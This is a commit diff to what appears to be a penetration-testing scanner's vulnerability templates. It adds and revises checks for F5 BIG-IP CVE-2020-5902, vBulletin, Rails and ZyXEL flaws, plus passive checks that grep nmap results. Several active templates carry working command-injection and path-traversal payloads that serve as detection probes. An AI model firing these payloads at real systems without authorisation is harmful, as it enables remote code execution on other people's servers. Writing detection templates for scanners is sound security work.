* v8.6 - Added CVE-2020-5902 F5 BIG-IP RCE sc0pe template

* v8.6 - Added CVE-2020-5902 F5 BIG-IP XSS sc0pe template
* v8.6 - Added F5 BIG-IP detection sc0pe template
* v8.6 - Added interesting ports sc0pe template
* v8.6 - Added components with known vulnerabilities sc0pe template
* v8.6 - Added server header disclosure sc0pe template
* v8.6 - Added SMBv1 enabled sc0pe template
* v8.6 - Removed verbose comment from stealth scan

CHANGELOG.md

@@ -1,4 +1,11 @@
 ## CHANGELOG:
+* v8.6 - Added CVE-2020-5902 F5 BIG-IP RCE sc0pe template
+* v8.6 - Added CVE-2020-5902 F5 BIG-IP XSS sc0pe template
+* v8.6 - Added F5 BIG-IP detection sc0pe template
+* v8.6 - Added interesting ports sc0pe template
+* v8.6 - Added components with known vulnerabilities sc0pe template
+* v8.6 - Added server header disclosure sc0pe template
+* v8.6 - Added SMBv1 enabled sc0pe template
 * v8.6 - Removed verbose comment from stealth scan
 * v8.5 - Added manual installer for Metasploit
 * v8.5 - Added Phantomjs manual installer

templates/active/CVE-2019-16759_-_vBulletin_5.x_0-Day_Pre-Auth_Remote_Command_Execution.sh

@@ -2,8 +2,8 @@ AUTHOR='@xer0dayz'
 VULN_NAME='CVE-2019-16759 - vBulletin 5.x 0-Day Pre-Auth Remote Command Execution'
 URI='/'
 METHOD='POST'
-MATCH='1337'
+MATCH='1787569'
 SEVERITY='P1 - CRITICAL'
-CURL_OPTS='-d "routestring=ajax%2Frender%2Fwidget_php&widgetConfig%5Bcode%5D=echo+shell_exec%28%27echo+$((1%2B1336))%27%29%3B+exit%3B" -H "Content-Type: application/x-www-form-urlencoded" --user-agent "" -s -L --insecure'
+CURL_OPTS='-d "routestring=ajax%2Frender%2Fwidget_php&widgetConfig%5Bcode%5D=echo+shell_exec%28%27echo+$((1%2B1787568))%27%29%3B+exit%3B" -H "Content-Type: application/x-www-form-urlencoded" --user-agent "" -s -L --insecure'
 SECONDARY_COMMANDS=''
 GREP_OPTIONS='-i'

templates/active/CVE-2020-5902_-_F5_BIG-IP_Remote_Code_Execution.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-5902 - F5 BIG-IP Remote Code Execution'
+URI='/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp'
+METHOD='GET'
+MATCH='divGeneralRemoteSettingsTable'
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2020-5902_-_F5_BIG-IP_Remote_Code_Execution_1.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-5902 - F5 BIG-IP Remote Code Execution 1'
+URI='/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp'
+METHOD='GET'
+MATCH='divGeneralRemoteSettingsTable'
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2020-5902_-_F5_BIG-IP_XSS.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2020-5902 - F5 BIG-IP XSS'
+URI='/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=INJECTX'
+METHOD='GET'
+MATCH='INJECTX'
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2020-8163_-_Rails_5.0.1_Remote_Code_Execution.sh

@@ -1,8 +1,8 @@
 AUTHOR='@xer0dayz'
 VULN_NAME='CVE-2020-8163 - Rails < 5.0.1 Remote Code Execution'
-URI='/?system(%27echo+$((1%2B1336))%27)%3ba%23'
+URI='/?system(%27echo+$((1%2B1787568))%27)%3ba%23'
 METHOD='GET'
-MATCH="1337"
+MATCH="1787569"
 SEVERITY='P1 - CRITICAL'
 CURL_OPTS="--user-agent '' -s -L --insecure"
 SECONDARY_COMMANDS=''

templates/active/CVE-2020-9054_-_ZyXEL_NAS_Remote_Code_Execution.sh

@@ -1,8 +1,8 @@
 AUTHOR='@xer0dayz'
 VULN_NAME='CVE-2020-9054 - ZyXEL NAS Remote Code Execution'
-URI="/cgi-bin/weblogin.cgi?username=admin';echo \$((1+1336))"
+URI="/cgi-bin/weblogin.cgi?username=admin';echo \$((1+1787568))"
 METHOD='GET'
-MATCH="1337"
+MATCH="1787569"
 SEVERITY='P1 - CRITICAL'
 CURL_OPTS="--user-agent '' -s --insecure"
 SECONDARY_COMMANDS=''

templates/active/F5_BIG-IP_Scanner.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='F5 BIG-IP Detected'
+URI='/'
+METHOD='GET'
+MATCH='<title>F5 BIG-IP'
+SEVERITY='P5 - INFO'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/F5_BIG-IP_Scanner_2.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='F5 BIG-IP Detected 2'
+URI='/tmui/login.jsp'
+METHOD='GET'
+MATCH='<title>F5 BIG-IP'
+SEVERITY='P5 - INFO'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/Fortigate_Pulse_Connect_Secure_Scanner.sh

@@ -2,7 +2,7 @@ AUTHOR='@xer0dayz'
 VULN_NAME='Fortigate Pulse Connect Secure Detected'
 URI='/remote/login?lang=en'
 METHOD='GET'
-MATCH="<title>Please Login</title>"
+MATCH='<title>Please Login'
 SEVERITY='P5 - INFO'
 CURL_OPTS="--user-agent '' -s -L --insecure"
 SECONDARY_COMMANDS=''

templates/passive/Component_With_Known_Vulnerabilities_1.sh

@@ -0,0 +1,8 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Component With Known Vulnerabilities'
+FILENAME="$LOOT_DIR/output/nmap-$TARGET.txt"
+MATCH="CVE\-"
+SEVERITY='P3 - MEDIUM'
+GREP_OPTIONS='-i'
+SEARCH='positive'
+SECONDARY_COMMANDS=''

templates/passive/Component_With_Known_Vulnerabilities_2.sh

@@ -0,0 +1,8 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Component With Known Vulnerabilities 2'
+FILENAME="$LOOT_DIR/output/nmap-$TARGET-*.txt"
+MATCH="CVE\-"
+SEVERITY='P3 - MEDIUM'
+GREP_OPTIONS='-i'
+SEARCH='positive'
+SECONDARY_COMMANDS=''

templates/passive/SMBv1_Enabled.sh

@@ -0,0 +1,8 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='SMBv1 Enabled'
+FILENAME="$LOOT_DIR/output/nmap-$TARGET-*.txt"
+MATCH="SMBv1"
+SEVERITY='P3 - MEDIUM'
+GREP_OPTIONS='-i'
+SEARCH='positive'
+SECONDARY_COMMANDS=''

templates/passive/Server_Header_Disclosure.sh

@@ -0,0 +1,19 @@
+if [ "$SSL" = "false" ]; then
+	AUTHOR='@xer0dayz'
+	VULN_NAME='Server Header Disclosure - HTTP'
+	FILENAME="$LOOT_DIR/web/headers-http-$TARGET.txt"
+	MATCH="Server\:"
+	SEVERITY='P4 - LOW'
+	GREP_OPTIONS='-i'
+	SEARCH='positive'
+	SECONDARY_COMMANDS=''
+else
+	AUTHOR='@xer0dayz'
+	VULN_NAME='Server Header Disclosure - HTTPS'
+	FILENAME="$LOOT_DIR/web/headers-https-$TARGET.txt"
+	MATCH="Server\:"
+	SEVERITY='P4 - LOW'
+	GREP_OPTIONS='-i'
+	SEARCH='positive'
+	SECONDARY_COMMANDS=''
+fi

templates/passive/recursive/Interesting_Ports_Found.sh

@@ -0,0 +1,21 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Interesting Ports Found'
+FILENAME="$LOOT_DIR/nmap/ports-$TARGET.txt"
+MATCH='80|443'
+SEVERITY='P5 - INFO'
+GREP_OPTIONS='-iv'
+SEARCH='positive'
+SECONDARY_COMMANDS=''
+
+rm -f /tmp/match.out 2> /dev/null
+
+for line in `cat $FILENAME 2> /dev/null`; do
+	echo $line
+	OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
+	if [[ "$SEARCH" == "negative" ]]; then
+        cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out || echo "[+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null 
+	else
+        cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out && echo "[+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null 
+	fi
+	rm -f /tmp/match.out 2> /dev/null
+done